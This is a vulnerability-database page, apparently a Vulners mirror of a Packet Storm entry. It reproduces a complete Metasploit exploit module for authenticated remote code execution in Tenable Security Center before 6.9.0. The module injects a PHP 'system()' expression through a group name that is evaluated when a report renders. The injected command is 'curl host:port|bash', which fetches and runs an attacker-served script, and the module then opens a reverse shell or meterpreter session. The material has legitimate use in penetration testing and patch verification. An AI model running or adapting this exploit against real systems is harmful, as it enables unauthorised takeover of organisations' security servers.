Lucene search
+L

Tenable Security Center Report Charting Remote Code Execution

🗓️ 26 Aug 2026 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 9 Views

Authenticated RCE in Tenable Security Center prior to 6.9.0 via report chart label injection.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Eval Injection in Tenable Security_Center
24 Aug 202612:42
githubexploit
attackerkb
ATTACKERKB
CVE-2026-19626
14 Aug 202616:55
attackerkb
circl
Circl
CVE-2026-19626
14 Aug 202617:50
circl
cve
CVE
CVE-2026-19626
14 Aug 202616:55
cve
cvelist
Cvelist
CVE-2026-19626 Remote Code Execution
14 Aug 202616:55
cvelist
euvd
EUVD
EUVD-2026-58727
14 Aug 202616:55
euvd
kitploit
Kitploit
POC-CVE-2026-19626
25 Aug 202604:28
kitploit
metasploit
Metasploit
Tenable Security Center Report Charting RCE
13 Aug 202600:00
metasploit
nvd
NVD
CVE-2026-19626
14 Aug 202617:17
nvd
ptsecurity
Positive Technologies
PT-2026-72055
14 Aug 202600:00
ptsecurity
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tenable Security Center Report Charting RCE',
            'Description' => %q{
              Tenable Security Center prior to 6.9.0 allows an authenticated,
              non-administrative user to achieve code execution as the web service
              account (tns) through report generation.
    
              A report definition's inline style is discarded at render (components
              rehydrate styles from the Style tables by styleID), so the payload is
              delivered through a label instead: a group created with the name
              `{=system('CMD')}` is accepted verbatim and becomes a pie sector
              label via a user/sumgroup query; `{label}` substitution runs BEFORE
              the eval loop, so the payload lands inside the format string and
              fires at chart render. Regular org users can create both; report
              launch refuses ROLE_ADMIN - this bug class is explicitly non-admin.
    
              Payload constraints: the {=...} regex is non-greedy to the first
              closing brace, so the expression may not contain one, and PHP string
              interpolation applies; this module therefore injects only
              `curl <srvhost>:<srvport>|bash`
              (a bare host:port GETs / and bash reads the served script from
              stdin). The served script itself has no such limits, which the
              Linux Dropper target exploits with a fetch payload
              (cmd/linux/http/...) that downloads and execs a full native payload
              (e.g. x64 meterpreter) from the payload adapter's own listener on
              FETCH_SRVPORT.
    
              Report definitions are closed to administrators (creation returns
              error 163); supply credentials for a regular org user.
    
              Tested against SecurityCenter 6.7.2-14 on RHEL9.
            },
            'License' => MSF_LICENSE,
            'Author' => ['h00die'],
            'References' => [
              ['URL', 'https://www.tenable.com/security/tns-2026-22'],
              ['CVE', '2026-19626']
            ],
            'DisclosureDate' => '2026-08-13',
            'Platform' => ['unix'],
            'Arch' => ARCH_CMD,
            'Targets' => [
              # msf defaults to php payload, but SC bundles its own php and its not in the path so
              # we want to avoid that since it'll fail
              ['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload
              # the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;
              # x86/aarch64/multi variants of cmd/linux/http/... work here too
              [
                'Linux Dropper', {
                  'Platform' => 'linux',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    # pinned: a native stage must come through a fetch payload to fit
                    # the charset-limited {=...} expression
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443,
              'PrependFork' => true,
              # jobd renders asynchronously; a render queued behind another took
              # ~25s in the lab (vs 11s solo). Keep the payload servers alive well
              # past the exploit wait loop below so a late render still lands
              'WfsDelay' => 30,
              # fetch-payload staging (module-level so they apply even when the
              # payload is selected by hand rather than via the Dropper target):
              # the web process cwd isn't writable by tns, so stage from /tmp, and
              # keep the fetch listener off this module's SRVPORT script server
              'FETCH_WRITABLE_DIR' => '/tmp',
              'FETCH_SRVPORT' => 8081
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          # report definitions are closed to admins — regular org user required
          OptString.new('USERNAME', [true, 'Username to authenticate with (regular org user, not admin)', '']),
          OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
        ])
        @groups = []
        @definitions = []
      end
    
      def login(username, password)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'rest', 'token'),
          'ctype' => 'application/json',
          'data' => { 'username' => username, 'password' => password }.to_json
        )
        fail_with(Failure::Unreachable, 'No response to login') unless res
        json = res.get_json_document
        fail_with(Failure::NoAccess, "Login failed: #{json['error_msg']}") if json['error_code'] != 0
    
        token = json['response']
        token = token['token'] if token.is_a?(Hash)
        fail_with(Failure::NoAccess, "No token in login response: #{json}") if token.blank?
    
        # the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is
        # only accepted alongside it (HttpClient keeps no cookie jar of its own).
        # SC rotates the session id on login (two Set-Cookie headers) — keep only the
        # final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)
        session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last
        fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session
    
        { 'X-SecurityCenter' => token.to_s, 'Cookie' => "TNS_SESSIONID=#{session}" }
      end
    
      def rest_request(session, method, *path, body: nil)
        opts = {
          'method' => method,
          'uri' => normalize_uri(target_uri.path, 'rest', *path),
          'headers' => session
        }
        if body
          opts['ctype'] = 'application/json'
          opts['data'] = body.to_json
        end
        res = send_request_cgi(opts)
        fail_with(Failure::Unreachable, "No response to #{method} /rest/#{path.join('/')}") unless res
        res
      end
    
      def rest_json(session, method, *path, body: nil)
        rest_request(session, method, *path, body: body).get_json_document
      end
    
      # report definitions are closed to administrators (error 163); probe with a
      # benign definition to fail early with a clear reason on admin credentials.
      # Memoized — check and exploit share.
      def worker_session
        return @worker if @worker
    
        session = login(datastore['USERNAME'], datastore['PASSWORD'])
        json = rest_json(session, 'POST', 'reportDefinition', body: report_definition)
        if json['error_code'] == 163
          fail_with(Failure::NoAccess, 'Credentials are administrative, but report definitions are closed to administrators — supply a regular (non-admin) org user credential')
        end
        fail_with(Failure::UnexpectedReply, "Report creation failed: #{json['error_msg']}") if json['error_code'] != 0
    
        delete_tracked_artifact(session, 'reportDefinition', json.dig('response', 'id')) # benign probe, discard now
        @worker = session
      end
    
      # PDF report definition carrying a pieChart component. Schema per the 6.8.0
      # validators: pdf requires styleFamily and non-empty chapters; chart
      # components need a per-component dataSource and a style object.
      #
      # The inline style's format strings are NOT the delivery vector: they are
      # stored verbatim in xmlDefinition but discarded at render (getReport's
      # render context overwrites component style with StyleLib::getComponentStyle()
      # fetched by styleID — the lab-verified reason the style-only PoC stalls).
      # The payload rides the GROUP NAME alone ({label} substitution precedes the
      # eval loop), so the style carries only benign built-in-shaped values and
      # the payload appears exactly once in the request capture.
      def report_definition
        name = Rex::Text.rand_text_alphanumeric(8)
        component = {
          'tag' => 'component',
          'name' => name,
          'componentType' => 'pieChart',
          'definition' => {
            'dataSource' => {
              'type' => 'query',
              'querySourceType' => 'individual', # feeds DataSource.querySourceType (NOT NULL)
              'sortColumn' => 'count',
              'sortDirection' => 'asc',
              # user/sumgroup: one row per group — the payload-named group
              # becomes a sector label
              'query' => { 'type' => 'user', 'tool' => 'sumgroup', 'filters' => [] }
            },
            'columns' => [{ 'name' => 'count' }],
            'labelColumns' => 'groupID', # sumgroup rows map groupID -> group NAME string
            'dataPoints' => 25,
            'imageWidth' => 550,
            'style' => {
              'legend' => 'right',
              'legendFormat' => '{label}',
              'labelFormat' => '{label}'
            }
          }
        }
        {
          'name' => name,
          'description' => Rex::Text.rand_text_alphanumeric(8),
          'type' => 'pdf',
          'styleFamily' => 1, # >12 hard-fails PDF assembly; 1 rides the Plain fallback
          'schedule' => { 'type' => 'never' }, # schedule required (error 146); never = manual launch only
          'definition' => { 'chapters' => [{ 'name' => name, 'elements' => [component] }] }
        }
      end
    
      # the {=...} expression body is eval'd as PHP inside a double-quoted string:
      # no '}' (the regex closes on the first brace) and no quotes/dollar/backtick
      # (PHP interpolation / payload quoting)
      def expression(cmd)
        "{=system(\"#{cmd}\")}"
      end
    
      # the delivery vehicle: a group whose NAME is the payload, plus the report
      # definition that renders it into a pie legend — launch makes jobd render,
      # and the render evals the group name
      def fire(payload)
        json = rest_json(@worker, 'POST', 'group', body: { 'name' => payload, 'description' => Rex::Text.rand_text_alphanumeric(8) })
        fail_with(Failure::UnexpectedReply, "Group creation failed: #{json['error_msg']}") if json['error_code'] != 0
        @groups << json.dig('response', 'id')
        vprint_status("Created group #{@groups.last} carrying the payload name")
    
        json = rest_json(@worker, 'POST', 'reportDefinition', body: report_definition)
        fail_with(Failure::UnexpectedReply, "Report definition failed: #{json['error_msg']}") if json['error_code'] != 0
        @definitions << json.dig('response', 'id')
        vprint_status("Created report definition #{@definitions.last}")
    
        json = rest_json(@worker, 'POST', 'reportDefinition', @definitions.last.to_s, 'launch', body: { 'id' => @definitions.last })
        fail_with(Failure::UnexpectedReply, "Report launch failed: #{json['error_msg']}") if json['error_code'] != 0
        print_status('Report launched — chart render evals the group-name payload')
      end
    
      def payload_srv_ip
        srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost
      end
    
      # plaintext payload server (see http_server_ssl override): datastore SSL
      # stays true for the client side against 443. Path MUST be root — the
      # injected curl|bash fetch carries no path component, and leaving 'Path'
      # unset mounts the default Proc on a random URI instead. Started once;
      # check and exploit share it.
      def start_payload_server
        return if @server_started
    
        @server_started = true
        start_service('Path' => '/')
      end
    
      def on_request_uri(cli, _req)
        vprint_status('Payload script requested')
        @canary = true
        # sc brings its own php, so use that location
        if @payload_cmd&.end_with?('exec php')
          @payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings
        end
        send_response(cli, @payload_cmd.to_s, 'Content-Type' => 'text/plain')
      end
    
      # HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an
      # explicit 'ssl' => false gets clobbered (false is falsey) and the server
      # inherits the datastore SSL meant for the 443 client side. The injected
      # `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to
      # the datastore ssl) to false so this script server stays http. The Dropper
      # target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP
      # too (cmd/linux/https/... exists if that ever needs encrypting).
      def http_server_ssl
        false
      end
    
      def check
        @worker = worker_session
        start_payload_server
    
        @canary = false
        srv_ip = payload_srv_ip
        vprint_status("Launching a canary report whose legend curls http://#{srv_ip}:#{datastore['SRVPORT']}/ ...")
        fire(expression("curl #{srv_ip}:#{datastore['SRVPORT']}"))
    
        waited = 0
        while waited < 30 && !@canary
          Rex.sleep(1)
          waited += 1
        end
        if @canary
          CheckCode::Vulnerable("Report render eval fired (canary fetched http://#{srv_ip}:#{datastore['SRVPORT']}/ after #{waited}s)")
        else
          CheckCode::Unknown("No canary within #{waited}s — jobd render may be queued behind other reports; check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings")
        end
      end
    
      def exploit
        @worker = worker_session
        # for the Dropper target payload.encoded is the fetch payload's
        # download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,
        # chmod +x, exec); the payload adapter runs that listener itself, so this
        # module only serves the command text at / below
        @payload_cmd = payload.encoded
    
        srv_ip = payload_srv_ip
        start_payload_server
    
        inject = "curl #{srv_ip}:#{datastore['SRVPORT']}|bash"
        fail_with(Failure::BadConfig, "Injection carries characters the {=...} eval cannot survive: #{inject}") unless inject.count("}'\"`$").zero?
    
        print_status("Injecting '#{inject}' as a group name (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)")
        # baseline BEFORE firing: the dropper can connect back fast enough that the
        # session exists by the time we reach the wait loop
        initial = framework.sessions.count
        fire(expression(inject))
    
        # keep the payload server alive while jobd renders and the curl|bash runs;
        # module cleanup would otherwise tear it down before the fetch lands.
        # Render latency is the jobd queue depth: ~11s solo, ~25s queued behind
        # one render in the lab — 120s covers a several-deep queue. AutoCheck
        # doubles the number of renders (canary + payload); set AutoCheck false
        # to halve the queue
        print_status('Waiting for the report render and session...')
        waited = 0
        while waited < 120 && framework.sessions.count == initial
          Rex.sleep(1)
          waited += 1
          vprint_status("Render still pending (#{waited}s)") if (waited % 30).zero?
        end
        if framework.sessions.count > initial
          print_good('Session opened')
        else
          print_warning("No session after #{waited}s — the render may still be queued in jobd (re-run, or raise WfsDelay); verify #{srv_ip}:#{datastore['SRVPORT']} is reachable, and check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings")
        end
      end
    
      # best-effort removal of everything the chain persisted: report definitions
      # and payload groups. Runs after the wait loop, so a landed session is
      # unaffected; a still pending render is cut short, which is fine — we
      # already gave up on it
      def cleanup
        cleanup_list(@worker, 'reportDefinition', @definitions)
        cleanup_list(@worker, 'group', @groups)
      ensure
        super
      end
    
      def cleanup_list(session, kind, ids)
        return unless session && ids
    
        ids.compact.each do |id|
          rest_request(session, 'DELETE', kind, id.to_s)
          vprint_status("Deleted #{kind} #{id}")
        rescue StandardError => e
          vprint_status("Deleting #{kind} #{id} failed: #{e.class} #{e.message}")
        end
      end
    
      def delete_tracked_artifact(session, kind, id)
        return if id.blank?
    
        (@definitions << id) if kind == 'reportDefinition'
        (@groups << id) if kind == 'group'
        rest_request(session, 'DELETE', kind, id.to_s)
        vprint_status("Deleted #{kind} #{id}")
      rescue StandardError => e
        vprint_status("Deleting #{kind} #{id} failed: #{e.class} #{e.message}")
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Aug 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 49.4
CVSS 3.19.9
EPSS0.01444
SSVC
9